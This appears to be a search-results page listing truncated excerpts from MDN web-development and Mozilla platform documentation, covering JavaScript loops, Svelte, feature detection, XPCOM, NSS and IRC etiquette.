...ching), or different images suitable for different space allocations (art direction). note: the new features discussed in this article — srcset/sizes/<picture> — are all supported in release versions of modern desktop and mobile browsers (including microsoft's edge browser, although not internet explorer.) how do you create responsive images? in this section, we'll look at the two problems illustrated above and show how to solve them using html's responsive image features. you should note that we will be focusing on the html <img>s for this section, as seen in the content area of the example above — the image in the site header is only for decoration, and therefore implemented using css background images. css arguably has better tools for responsive design than html, and we'll ta...
...And 4 more matches
Looping code - Learn web development
here we'll look at the loop structures available in javascript that handle such needs. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps. objective: to understand how to use loops in javascript. ...
... maintain very quickly. loops really are the best. the standard for loop let's start exploring some specific loop constructs. the first, which you'll use most of the time, is the for loop — this has the following syntax: for (initializer; condition; final-expression) { // code to run } here we have: the keyword for, followed by some parentheses. inside the parentheses we have three items, separated by semi-colons: an initializer — this is usually a variable set to a number, which is incremented to count the number of times the loop has run. it is also sometimes referred to as a counter variable. a condition — as mentioned before, this defines when the loop should stop looping. this is generally an expression featuring a comparison operator, a test to see if the exit ...
...eff', 'pete', 'biggles', 'jasmin']; let info = 'my cats are called '; const para = document.queryselector('p'); for (let i = 0; i < cats.length; i++) { info += cats[i] + ', '; } para.textcontent = info; </script> </body> </html> note: you can find this example code on github too (also see it running live). this shows a loop is used to iterate over the items in an array and do something with each of them — a very common pattern in javascript. here: the counter variable (sometimes known as an initializer or an iteration variable), i, starts at 0 (let i = 0). the loop has been told to run until i is no longer smaller than the length of the cats array. this is important — the condition is the condition under which the loop will still run. so in ...
...And 4 more matches
What is JavaScript? - Learn web development
is clicked and then run the code that updates the text label. and much more! what is even more exciting however is the functionality built on top of the client-side javascript language. so-called application programming interfaces (apis) provide you with extra superpowers to use in your javascript code. apis are ready-made sets of code building blocks that allow a developer to implement programs that would otherwise be hard or impossible to implement. they do the same thing for programming that ready-made furniture kits do for home building — it is much easier to take ready-cut panels and screw them together to make a bookshelf than it is to work out the design yourself, go and find the correct wood, cut all the panels to the right size and shape, find the correct-sized screws, and the...
...in the order it appears on the page. if the javascript loads and tries to run before the html and css it is affecting has been loaded, errors can occur. you will learn ways around this later in the article, in the script loading strategies section. browser security each browser tab has its own separate bucket for running code in (these buckets are called "execution environments" in technical terms) — this means that in most cases the code in each tab is run completely separately, and the code in one tab cannot directly affect the code in another tab — or on another website. this is a good security measure — if this were not the case, then pirates could start writing code to steal information from other websites, and other such bad things. note: there are ways to send code and data ...
...nstead, you'd get an error returned in the browser developer console — typeerror: para is undefined. this means that the para object does not exist yet, so we can't add an event listener to it. note: this is a very common error — you need to be careful that the objects referenced in your code exist before you try to do stuff to them. interpreted versus compiled code you might hear the terms interpreted and compiled in the context of programming. in interpreted languages, the code is run from top to bottom and the result of running the code is immediately returned. you don't have to transform the code into a different form before the browser runs it. the code is received in its programmer-friendly text form and processed directly from that. compiled languages on the other hand are t...
...And 4 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. objective: learn some advanced svelte techniques involving solving reactivity issues, keyboard accessibility problems to do with component lifecycle, and more. we'll focus on some accessibility issues involving focus management. to do so, we'll utilize some techniques for accessing dom nodes and executing methods like focus() and select(). we will also see how to declare and clean-up event listeners on dom elements. we also need to learn a bit about component lifecycle, to understand when these dom nodes...
...w components can also expose methods and variables. the following new components will be developed throughout the course of this article: moreactions: displays the check all and remove completed buttons, and emits the corresponding events required to handle their functionality. newtodo: displays the <input> field and add button for adding a new todo. todosstatus: displays the "x out of y items completed" status heading. code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/05-advanced-concepts or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/05-advanced-concepts remember to run npm install &...
...s weird, it's perfectly ok to use this technique, and sometimes it's the most concise way to do it. we could also access the todos array by index, like this: const checkalltodos = (completed) => { todos.foreach( (t,i) => todos[i].completed = completed) } assignments to properties of arrays and objects — e.g. obj.foo += 1 or array[i] = x — work the same way as assignments to the values themselves. when svelte analyzes this code, if can detect that the todos array is being modified. another solution is to assign a new array to todos containing a copy of all the todos with the completed property updated accordingly, like this: const checkalltodos = (completed) => { todos = todos.map(t => { // shorter version: todos = todos.map(t => ({...t, completed})) return {...
...And 4 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
taltodos = todos.length let completedtodos = todos.filter(todo => todo.completed).length </script> now let's do something with that information. let's start by showing a status message. find the <h2> heading with an id of list-heading and replace the hardcoded number of active and completed tasks with dynamic expressions: <h2 id="list-heading">{completedtodos} out of {totaltodos} items completed</h2> go to the app, and you should see the "2 out of 3 items completed" message as before, but this time the information is coming from the todos array. to prove it, go to that array, and try changing some of the todo object's completed property values, and even add a new todo object. observe how the numbers in the message are updated appropriately. dynamically generatin...
...we want to iterate over each item in our todos array and render the markup for each task, so let's do that now. html doesn't have a way of expressing logic — like conditionals and loops. svelte does. in this case we use the {#each...} directive to iterate over the todos array. the second parameter, if provided, will contain the index of the current item. ...
...e a way of expressing logic — like conditionals and loops. svelte does. in this case we use the {#each...} directive to iterate over the todos array. the second parameter, if provided, will contain the index of the current item. also, a key expression can be provided, which will uniquely identify each item. svelte will use it to diff the list when data changes, rather than adding or removing items at the end, and it's a good practice to always specify one. finally, an :else block can be provided, which will be rendered when the list is empty. let's give it a try. replace the existing <ul> element with the following simplified version to get an idea of how it works: <ul> {#each todos as todo, index (todo.id)} <li> <input type="checkbox" checked={todo.completed}/> {index}. {t...
...And 4 more matches
Understanding client-side JavaScript frameworks - Learn web development
in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks. in this set of articles, we are aiming to give you a comfortable starting point to help you begin learning frameworks. ...
...comfortable starting point to help you begin learning frameworks. we are not aiming to exhaustively teach you everything you need to know about react/reactdom, or vue, or some other specific framework; the framework teams' own docs (and other resources) do that job already. ...
...mental best practices such as accessibility. get started now, with "introduction to client-side frameworks" prerequisites you should really learn the basics of the core web languages first before attempting to move on to learning client-side frameworks — html, css, and especially javascript. your code will be richer and more professional as a result, and you'll be able to troubleshoot problems with more confidence if you understand the fundamental web platform features that the frameworks are building on top of. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started introductory guides 1. introduction to client-side frameworks we begin our look at frameworks with a ...
...And 4 more matches
Implementing feature detection - Learn web development
en conditionally run code to provide an acceptable experience both in browsers that do support the feature, and browsers that don't. if you don't do this, browsers that don't support the features you are using in your code won't display your sites properly and will just fail, creating a bad user experience. let's recap and look at the example we touched on in our handling common javascript problems — the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object. therefore, you can detect whether the browser supports geolocation or not by using something like the following: if ("geolocation" in navigator) { navigator.geolocation.getcurrentposit...
...ill for a minor feature detection problem — you can often get away with using multiple vendor prefixes and fallback properties, as described in css fallback behavior and handling css prefixes. @supports in recent times, css has had its own native feature detection mechanism introduced — the @supports at-rule. this works in a similar manner to media queries (see also responsive design problems) — except that instead of selectively applying css depending on a media feature like a resolution, screen width or aspect ratio, it selectively applies css depending on whether a css feature is supported. for example, we could rewrite our previous example to use @supports — see supports-feature-detect.html and supports-styling.css. if you look at the latter, you'll see a couple of @supports ...
...quired, and we can handle all the logic in a single css file, cutting down on http requests. the problem here is browser support — @supports is not supported at all in ie, and only supported in very recent versions of safari/ios webkit (9+/9.2+), whereas the javascript version should work in much older browsers (probably back to ie8 or 9, although older versions of ie will have additional problems, such as not supporting document.queryselector, and having a messed up box model). javascript we already saw an example of a javascript feature detection test earlier on. generally, such tests are done via one of the following common patterns: summary of javascript feature detection techniques feature detection type explanation example if member in object check ...
...And 4 more matches
Client-side tooling overview - Learn web development
though it is still entirely reasonable to write html, css, and javascript "by hand" there is now a wealth of tools that developers can use to speed up the process of building a web site, or app. there are some extremely well-established tools that have become common "household names" amongst the development community, and new tools are being written and released every day to solve specific problems. you might even find yourself writing a piece of software to aid your own development process, to solve a specific problem that existing tools don’t already seem to handle. it is easy to become overwhelmed by the sheer number of tools that can be included in a single project. equally, a single configuration file for a tool like webpack can be hundreds of lines long, most of which are magical i...
... every question about web tooling, but we will provide you with a useful starting point of understanding the fundamentals, which you can then build from. as with any complex topic, it is good to start small, and gradually work your way up to more advanced uses. the modern tooling ecosystem today's modern developer tooling ecosystem is huge, so it's useful to have a broad idea of what main problems the tools are solving. if you jump on your favourite search engine and look for "front-end developer tools" you're going to hit a huge spectrum of results ranging from text editors, to browsers, to the type of pens you can use to take notes. though your choice of code editor is certainly a tooling choice, this series of articles will go beyond that, focusing on developer tools that help you prod...
... of results ranging from text editors, to browsers, to the type of pens you can use to take notes. though your choice of code editor is certainly a tooling choice, this series of articles will go beyond that, focusing on developer tools that help you produce web code more efficiently. from a high-level perspective, you can put client-side tools into the following three broad categories of problems to solve: safety net — tools that are useful during your code development. transformation — tools that transform code in some way, e.g. turning an intermediate language into javascript that a browser can understand. post-development — tools that are useful after you have written your code, such as testing and deployment tools. let's look at each one of these in more detail. safety n...
...And 4 more matches
Limitations of chrome scripts
age describes patterns that used to work in the chrome process that will no longer work in multiprocess firefox. these are the sorts of things that will break an old add-on in multiprocess firefox. the fix is generally some variant of "do that in a frame script loaded into the content process". this is one of a pair of articles: the other one lists limitations of frame scripts. ...
...ger work in multiprocess firefox. these are the sorts of things that will break an old add-on in multiprocess firefox. the fix is generally some variant of "do that in a frame script loaded into the content process". this is one of a pair of articles: the other one lists limitations of frame scripts. compatibility shims for many of the patterns described here we've implemented compatibility shims so the patterns still work. ...
...: the other one lists limitations of frame scripts. compatibility shims for many of the patterns described here we've implemented compatibility shims so the patterns still work. for example: whenever extensions try to access web content from the chrome process, the browser will return a cross process object wrapper that gives the chrome code synchronous access to the content. you'll get the shims for your add-on by default, unless you set the multiprocesscompatible flag in your add-on's install manifest. ...
...And 4 more matches
mozbrowsercontextmenu
ss a context menu over a browser <iframe>. this event can be used to control what will appear in the menu. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: clientx the x value of the coord...
...example, if the user clicked on an image nested in an <a> tag, two menus are available — one with information related to the image, and one for the link. contextmenu a menu object (see the menu object, below) representing a custom menu defined via <menu> / <menuitem> elements and pointed to via a contextmenu attribute on the dom element clicked on, which contains the menu's id. contextmenuitemselected an anonymous function that fires when a menu item is selected. the menusystem object an object defining a standard context menu that will be displayed. its properties are as follows: documenturi a domstring representing the url of the document the menu is associated with. uri a domstring. in the case of an image or video context menu, this is the src of the image or video clicked...
...object defining a standard context menu that will be displayed. its properties are as follows: documenturi a domstring representing the url of the document the menu is associated with. uri a domstring. in the case of an image or video context menu, this is the src of the image or video clicked on to get the context menu. in the case of an link context menu, it is the link's href. text a domstring representing the text of the link clicked on, in the case of a link context menu. hasvideo a boolean. in the case of a video context menu, this returns true if the video has metadata and is bigger than 0 x 0, or false if not. ...
...And 4 more matches
Embedding the editor
finally, steps towards that final solution are described. embedding applications here are some embedding scenarios that editor needs to deal with. note here that i use the term 'composer' to mean an html-savvy compose widget that does rich text editing, and 'editor' to mean a plain text editor (as well as the underlying technology for composer). ...
...xtent that this can be done. it is likely that we'd use xbl to implement this type of widget, as is the plan for other form controls. as is the case for composer embedded in a native application, there is a requirement here that the composer ui be configurable, such that it can be displayed either as a toolbar at the top of the <htmlarea>, a floating palette, or a top-level toolbar. current problems the current composer architecture was created while other parts of mozilla were still under development, and as a result it suffers from a number of shortcomings, and anachronisms. this section describes its major faults. editor incorrectly rooted the editor in a composer window is current owned by the nseditorshell, which in turn is created, owned and destroyed by the nseditorboxobject. the box ...
...change the state of the ui (e.g. the inline style buttons). this needs to be changed to allow embedders to provide their own, possibly native ui. editor needs to call through one or more interfaces when communicating with the ui. embedding objectives editor requires design changes such that the embedding applications above can be fulfilled, and these changes will need to address the current problems. ...
...And 4 more matches
HTML parser threading
er thread, which would lead to all sorts of badness, because nshtml5streamparser has fields that hold objects that aren't safe to release except from the main thread. the runnables use nshtml5refptr<nshtml5streamparser>. nshtml5refptr sends runnables back to the main thread to call release on nshtml5streamparser on the main thread. normal (non-speculative) parsing initially, dodataavailable performs character encoding sniffing on the data if an encoding wasn't declared on the enclosing protocol (http) level. once a unicode decoder has been set up, dodataavailable passes the byte data to the decoder whose output is accumulated into a linked list of nshtml5owningutf16buffer objects. nshtml5owningutf16buffer objects are then passed to the tokenizer in sequence by the parseavailabledata() method...
...y the tree op or by the portable parser core if they don't make it as far a tree op. the backing nsstringbuffers are thread-safely refcounted appropriately when the nsstring goes away. (aside: it would make more sense to make the parser deal with nsstringbuffers directly without having heap-allocated nsstrings involved.) element names, attribute names and the doctype name are represented as nsiatoms. pre-interned attribute and element names hold atoms that are actually app-wide nsstaticatoms. since nsstaticatoms are valid app-wide, these atoms work right app-wide on the main thread. for other atoms, the parser uses nshtml5atom objects that are atomic only within the scope of an nshtml5atomtable. there is one nshtml5atomtable per each nshtml5parser and one per each nshtml5streamparser. thus, ...
...however, when tree ops are executed, every atom has to be tested for being a static atom (using isstaticatom()). if the atom isn't static, a corresponding normal main-thread dynamically-allocated atom has to be obtained for the same string and used instead of the nshtml5atom. ...
...And 4 more matches
Getting Started with Chat
l and reference purposes. the general rules and etiquette are still useful for our new home. please see https://wiki.mozilla.org/matrix for up-to-date information. general rules and etiquette once you have your client set up (see software below) and are connected, there are some basic rules you should follow to ensure the most enjoyable and productive experience: as with all mozilla forums and events, agreeing to our community participation guidelines is a requirement for participation. try to keep messages as concise as possible. if you have something long to post, a code snippet for example, use paste.mozilla.org and paste the generated url in irc instead. when addressing someone directly, try to use name: message format. for example, "ashughes: good morning!" every channel ha...
...cified, the command is executed for the current channel. /mode #channel +o nickname sets specified user as an owner or moderator of the specified channel. if a #channel is not specified, the command is executed for the current channel. /mode #channel +s sets the channel as a secret channel. this takes the channel off the public list of active channels and topics. ...
...n tasks; some automatic, some triggered by other users. the most common of these bots are called nickserv, chanserv, and firebot. nickserv this bot allows you to register your nickname which prevents other users from using it. ...
...And 4 more matches
How to implement a custom autocomplete search component
a newer and slightly simplified mechanism that is used in "toolkit" applications such as firefox and xulrunner. ...
... you through the process. because creating an xpcom component in order to build a custom autocomplete source can be enough to discourage some developers, below is an example javascript xpcom component called "simple-autocomplete" that implements the necessary interfaces. note: when copying the examples below, change the uuid that uniquely identifies the component, otherwise you might have problems if your component gets installed along another component derived from those same examples. that can happen! so, get a uuid from http://www.famkruithof.net/uuid/uuidgen, for example, and paste it in. basic example for gecko 2.0 and up (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this example is your first best try because: it has no specific logic (it just returns a dummy array of choices) it ...
... * @return {string} the final value of the result at the given index */ getfinalcompletevalueat: function(index) { return this.getvalueat(index); }, /** * removes the value at the given index from the autocomplete results. * if removefromdb is set to true, the value should be removed from * persistent storage as well. */ removevalue...
...And 4 more matches
Extras
e meant to showcase a few interesting upshots from building natively upon the browser environment. other renderers are expected to ignore attributes that they don't understand while the behavior of undefined elements is well, undefined. the title attribute as a tooltip (from xhtml) html content <p>mouse over either log to see a tooltip showing the title <math display="block"> <mrow> <mrow> <msub title="base-a log"> <mi>log</mi> <mi>a</mi> </msub> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> rather than repeating the instructions, some css might be used to provide a visual cue. fo...
...n</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> rather than repeating the instructions, some css might be used to provide a visual cue. ...
...<mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> rather than repeating the instructions, some css might be used to provide a visual cue. ...
...And 4 more matches
NSS 3.21 release notes
cture is not loaded. the difference with secmod_createmodule is the new function handles nss configuration parameter strings. ...
...uration parameter strings. in ssl.h ssl_getpreliminarychannelinfo - obtains information about a tls channel prior to the handshake being completed, for use with the callbacks that are invoked during the handshake ssl_signatureprefset - configures the enabled signature and hash algorithms for tls ssl_signatureprefget - retrieves the currently configured signature and hash algorithms ssl_signaturemaxcount - obtains the maximum number signature algorithms that can be configured with ssl_signatureprefset in utilpars.h nssutil_argparsemodulespecex - takes a module spec and breaks it into shared library string, module name string, module parameters string, nss specific parameters string, and nss configuration parameter strings. the returned strings must be freed by...
...pecex - take a shared library string, module name string, module parameters string, nss specific parameters string, and nss configuration parameter string and returns a module string which the caller must free when it is done. the difference with nss_mkmodulespec is the new function handles nss configuration parameter strings. ...
...And 4 more matches
NSS environment variables
ecify. nss_shared_db 3.12 nss_disable_arena_free_list string (any non-empty value) define this variable to get accurate leak allocation stacks when using leak reporting software. nss_memory_allocation 3.4 nss_disable_unload string (any non-empty value) disable unloading of dynamically loaded nss shared libraries during shutdown. necessary on some platforms to get correct function names when using leak reporting software. 3.11.8 nss_enable_audit boolean (1 to enable) enable auditing of activities of the nss cryptographic module in fips mode. audit data 3.11.2 nss_enable_pkix_verify boolean (any non-empty value to enable) use libpkix, rather than the old cert library, to verify certificates. 3.12 ...
...f activities of the nss cryptographic module in fips mode. audit data 3.11.2 nss_enable_pkix_verify boolean (any non-empty value to enable) use libpkix, rather than the old cert library, to verify certificates. 3.12 nss_fips string ("fips","true","on","1") will start nss in fips mode. 3.12.5 nss_hash_alg_support string specifies agorithms allowed to be used in certain applications, such as in signatures on certificates and crls. see documentation at this link. 3.12.3 nss_output_file string (filename) output file path name for the pkcs #11 module logger. default is stdout. 3.7 nss_sdb_use_cache string ("no","yes","auto") controls whether nss uses a local cache of sql database contents. de...
...he build (compilation) of nss. note: this section is a work in progress and is not yet complete. variable type description introduced in version build_opt boolean (1 to enable) do an optimized (not debug) build. default is to do a debug build. ...
...And 4 more matches
An Overview of XPCOM
te components that can be reused in different applications or that can be replaced to change the functionality of existing applications. xpcom not only supports component software development, it also provides much of the functionality that a development platform provides, such as: component management file abstraction object message passing memory management we will discuss the above items in detail in the coming chapters, but for now, it can be useful to think of xpcom as a platform for component development, in which features such as those listed above are provided. gecko although it is in some ways structurally similar to microsoft com, xpcom is designed to be used principally at the application level. the most important use of xpcom is within gecko, an open source, standards ...
...ifference here is that a "helloworld" application in xpcom finds this screen-printing functionality at runtime and never has to know about stdio when it's compiled. interfaces allow developers to encapsulate the implementation and inner workings of their software, and allow clients to ignore how things are made and just use that software. interfaces and programming by contract an interface forms a contractual agreement between components and clients. there is no code that enforces these agreements, but ignoring them can be fatal. in component-based programming, a component guarantees that the interfaces it provides will be immutable - that they will provide the same access to the same methods across different versions of the component - establishing a contract with the software clients t...
...hat use it. in this respect, interface-based programming is often referred to as programming by contract. interfaces and encapsulation between component boundaries, abstraction is crucial for software maintainability and reusability. consider, for example, a class that isn't well encapsulated. using a freely available public initialization method, as the example below suggests, can cause problems. someclass class initialization class someclass { public: // constructor someclass(); // virtual destructor virtual ~someclass(); // init method void init(); void dosomethinguseful(); }; for this system to work properly, the client programmer must pay close attention to whatever rules the component programmer has established. this is the contractual agreement ...
...And 4 more matches
Setting up the Gecko SDK
lock component in this tutorial. the following four sections tell the developer how to download and organize the gecko sdk and create a new project in which components like weblock can be created. downloading and setting the sdk the gecko sdk provides all of the tools, headers, and libraries that you need to build xpcom components. the sdk is available for windows, linux, and mac operating systems, and versions for other operating systems are being developed, and can be retrieved from as a single archive from the following platform-specific locations (need correction for last version (now 1.9.2.8). there is now separate archive with gecko-sdk, just xul-runner-sdk.): linux: http://ftp.mozilla.org/pub/mozi....8.0.4.tar.bz2 windows: http://ftp.mozilla.org/pub/mozi...vc-1.8.0.4.zip mac: h...
...makes build scripts slightly more complicated (since there will be many different include paths), but it helps to organize the parts of the sdk meaningfully. the two top level header files are special. the file mozilla-config.h lists all of the defines used in the sdk. including this header file in your project ensures that the component you create uses the same defines as the gecko libraries themselves. note that mozilla-config.h may be need to be included before other includes in your component's source code. each module directory is divided into three subdirectories: module subdirectories the bin directory contains static libraries, dynamic libraries, and in some cases tools that may be useful in development. the idl directory contains the public idl files exported by the module. th...
...mple location for your project, these paths are the following: c:\gecko-sdk\embedstring\include c:\gecko-sdk\xpcom\include c:\gecko-sdk\nspr\include c:\gecko-sdk\string\include under the c++ language category, disable exception handling. as described in the section exceptions in xpcom, exception handling isn't supported across interface boundaries, so setting this option may catch problems during development. the weblock component needs to link against the appropriate libraries to uses xpcom glue. to add these libraries, select the link tab, then choose the input category. in this panel, instead of linking to the include subdirectories of the nspr, embedstring, and xpcom directories, add the paths to the bin subdirectories. we also link against a number of libraries in the object...
...And 4 more matches
nsIDOMWindow
/base/nspidomwindow.h for those. while this interface is not officially defined by any standard bodies, it originates from the de-facto dom level 0 standard. starting in firefox 3, dom windows are actually based on nsidomwindow2, which is a subclass of nsidomwindow that adds some new features to this interface. in gecko 7.0 nsidomwindow2 has been merged into this interface. ...
...m windows are actually based on nsidomwindow2, which is a subclass of nsidomwindow that adds some new features to this interface. in gecko 7.0 nsidomwindow2 has been merged into this interface. in gecko 8.0 nsidomstoragewindow and nsidomwindowinternal have been merged into this interface. ...
...cationcache nsidomofflineresourcelist get the application cache object for this window. read only. note: prior to gecko 7.0 this attribute was part of nsidomwindow2. document nsidomdocument the document contained in the window. read only. frames nsidomwindowcollection the child windows for this window. read only. native code only! globalstorage nsidomstoragelist global storage, accessible by domain. read only. note: prior to gecko 8.0 this attribute was part of nsidomstoragewindow. localstorage nsidomstorage local storage for the current browsing context. data stored in local storage may only be accessed from the same origin that inserted the data into storage in the first place. read only. note: prior to gecko 8.0 this attri...
...And 4 more matches
nsIDOMXULSelectControlElement
dom/interfaces/xul/nsidomxulselectcntrlel.idlscriptable please add a summary to this article. ...
... dom/interfaces/xul/nsidomxulselectcntrlel.idlscriptable please add a summary to this article. ...
... article. inherits from: nsidomxulcontrolelement last changed in gecko 1.9 (firefox 3) method overview nsidomxulselectcontrolitemelement appenditem(in domstring label, in domstring value); long getindexofitem(in nsidomxulselectcontrolitemelement item); nsidomxulselectcontrolitemelement getitematindex(in long index); nsidomxulselectcontrolitemelement insertitemat(in long index, in domstring label, in domstring value); nsidomxulselectcontrolitemelement removeitemat(in long index); attributes attribute type description itemcount unsigned long read only. ...
...And 4 more matches
nsINavBookmarksService
bookmarks consist of a set of user-customizable folders. a uri in history can be contained in one or more such folders. 1.0 67 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: @mozilla.org/browser/nav-bookmarks-service;1. ...
...ameters auri the uri whose keyword is to be retrieved. return value returns the keyword for the given uri. getremovefoldertransaction() this method retrieves an undo-able transaction for removing a folder from the bookmarks tree. this method exists because complex delete->undo operations rely on recreated folders to have the same id they had before they were deleted, so that any other items deleted in different transactions can be re-inserted correctly. this provides a safe encapsulation of this functionality without exposing the ability to recreate folders with specific ids (potentially dangerous if abused by other code!) in the public api. nsitransaction getremovefoldertransaction( in long long aitemid ); parameters aitemid the id of the folder to remove. return value ...
...ren( in long long aitemid ); parameters aitemid the id of the folder to remove children from. removeitem() this method removes a child item. it is used to delete a bookmark or a separator. void removeitem( in print64 folder, obsolete since gecko 1.9 in nsiuri child, obsolete since gecko 1.9 in long long aitemid ); parameters folder obsolete since gecko 1.9 the id of the items parent folder. folder obsolete since gecko 1.9 the uri of the item to remove. aitemid the child item to remove. removeobserver() this method removes a bookmark observer. void removeobserver( in nsinavbookmarkobserver observer ); parameters observer the bookmark observer to be removed. replaceitem() obsolete since gecko 1.9 (firefox 3) replace an item ...
...And 4 more matches
nsINavHistoryQuery
ing for things that do have a given annotation is a little different. it also includes things that have never been visited. this allows place queries to be returned (which might include bookmark folders -- use the bookmark service's getfolderuri) as well as anything else that may have been tagged with an annotation. this will only work for results_as_uri since there will be no visits for these items. begintime prtime begin time range for results (inclusive). begintimereference long one of the constants time_relative_* which indicates how to interpret the corresponding begin time value. domain autf8string this is the host or domain name (controlled by domainishost). when domainishost, domain only does exact matching on host names. otherwise, it will return anything whose host name ends ...
...nding end time value. foldercount long read only: count of folders. hasannotation boolean read only: whether or not, annotation exists. hasbegintime boolean read only: whether or not, the corresponding begin time is considered. hasdomain boolean read only: whether or not, domain exists. hasendtime boolean read only: whether or not, the corresponding end time is considered. hassearchterms boolean read only: whether or not, text search terms exists. hasuri boolean read only: whether or not, uri exists. maxvisits long set upper limits for how many times an item has been visited. the default value is "-1", and in that case all items are matched regardless of their visit count. minvisits long set lower limits for how many times an item has been visited. the default value i...
... tags nsivariant a list of tags to use for filtering query results. this attribute must be an array of strings. ...
...And 4 more matches
nsIScriptableIO
re alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. nsiscriptableio provides a convenient api for creating files and streams, as well as for reading and writing data to them. for your convenience, this api is published through a global io object. for more details about how to use this object, see the file and stream guide. network/base/public/nsiscriptableio.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports a scriptable io object can be used...
...es: nsifile: an object returned by getfile() or getfilewithpath(), or any object implementing the nsifile interface. nsitransport: a transport object such as a socket. nsiinputstream: a stream returned by a previous call to this method, or any other object that implements nsiinputstream. string: a string from which to read data. amode a space-delineated string of mode terms controlling the manner in which the stream is accessed. if none of these modes are desired, specify an empty string. text: read unicode-converted text. the default character set is utf-8; to read text in another character set, set the acharset argument to the desired character set. buffered: a stream that uses a buffer to hold a block of the next piece of the data to be read. this mode is g...
...m is accessed. if none of these modes are desired, specify an empty string. text: read unicode-converted text. the default character set is utf-8; to read text in another character set, set the acharset argument to the desired character set. buffered: a stream that uses a buffer to hold a block of the next piece of the data to be read. this mode is generally used as a wrapper for other streams. by default, the buffer size is 1024 bytes; however, the size may be changed by specifying the abuffersize parameter. if the text mode is specified, a buffer is always used, regardless of whether or not it is specifically requested. block: when this mode is specified, reading from a transport such as a socket when no data is available will block until data is available before returning. if this...
...And 4 more matches
nsIXSLTProcessor
processor inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/document-transformer;1?type=xslt. ...
...: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/document-transformer;1?type=xslt. ...
...type=xslt. to create an instance, use: var xsltprocessor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); method overview void clearparameters(); nsivariant getparameter(in domstring namespaceuri, in domstring localname); void importstylesheet(in nsidomnode style); void removeparameter(in domstring namespaceuri, in domstring localname); void reset(); void setparameter(in domstring namespaceuri, in domstring localname, in nsivariant value); nsidomdocument transformtodocument(in nsidomnode source); nsidomdocumentfragment transformtofragment(in nsidomnode source, in nsidomdocument output); methods clearparameters() removes all set parameters from this nsixsltprocessor. this wil...
...And 4 more matches
XPCOM Interface Reference by grouping
grouping and category names were made by somewhat arbitrary decision by the author. ...
...idomgeopositionerror nsidomgeopositionerrorcallback nsidomgeopositionoptions nsidomglobalpropertyinitializer element nsidomchromewindow nsidomclientrect nsidomelement nsidomhtmlaudioelement nsidomhtmlformelement nsidomhtmlmediaelement nsidomhtmlsourceelement nsidomhtmltimeranges nsidomjswindow nsidomnode nsidomnshtmldocument nsidomstorageitem nsidomstoragemanager nsidomwindow nsidomwindow2 nsidomwindowinternal nsidomwindowutils nsidynamiccontainer nsieditor event nsidomevent nsidomeventgroup nsidomeventlistener nsidomeventtarget nsidommousescrollevent nsidommoztouchevent nsidomorientationevent nsidomprogressevent nsidomsimplegestureevent nsidragdroph...
...ccessibleselectable nsiaccessiblestates nsiaccessibletable nsiaccessibletext nsiaccessibletreecache nsiaccessiblevalue nsiaccessnode nsisyncmessagesender script nsiscriptableunescapehtml nsiscriptableunicodeconverter nsiscripterror nsiscripterror2 stylesheet nsistylesheetservice url nsiuri nsiurl util nsidomserializer nsidomxpathevaluator nsidomxpathexception nsidomxpathexpression nsidomxpathresult xslt nsixsltexception nsixsltprocessor download nsidownload nsidownloadmanager nsidownloadprogresslistener element internal nsiworker nsiworkerglobalscope nsiworkermessageevent nsiworkermessageport nsiworkerscope tree ...
...And 4 more matches
Creating a Custom Column
e our javascript file --> <script type="text/javascript" src="chrome://replyto_col/content/replyto_col.js"/> </overlay> that's it! our new column exists and is ready to be used. unfortunately the new column doesn't have any data in it and it doesn't react to sort clicks on it... yet. the column handler now that our column physically exists it's time to give it a bit of personality. ...
...col/content/replyto_col.js"/> </overlay> that's it! our new column exists and is ready to be used. unfortunately the new column doesn't have any data in it and it doesn't react to sort clicks on it... yet. the column handler now that our column physically exists it's time to give it a bit of personality. the nsimsgcustomcolumnhandler interface to handle a column we need to implement the nsimsgcustomcolumnhandler interface which defines the basic set of functionality that must be implemented to handle a column. note that an object that implements this interface can also take control of an existing, built-in column, but more about that later. nsimsgcustomcolumnhandler extends (inherits from) nsitreeview and as such needs to implement functions from both. the following is a list of func...
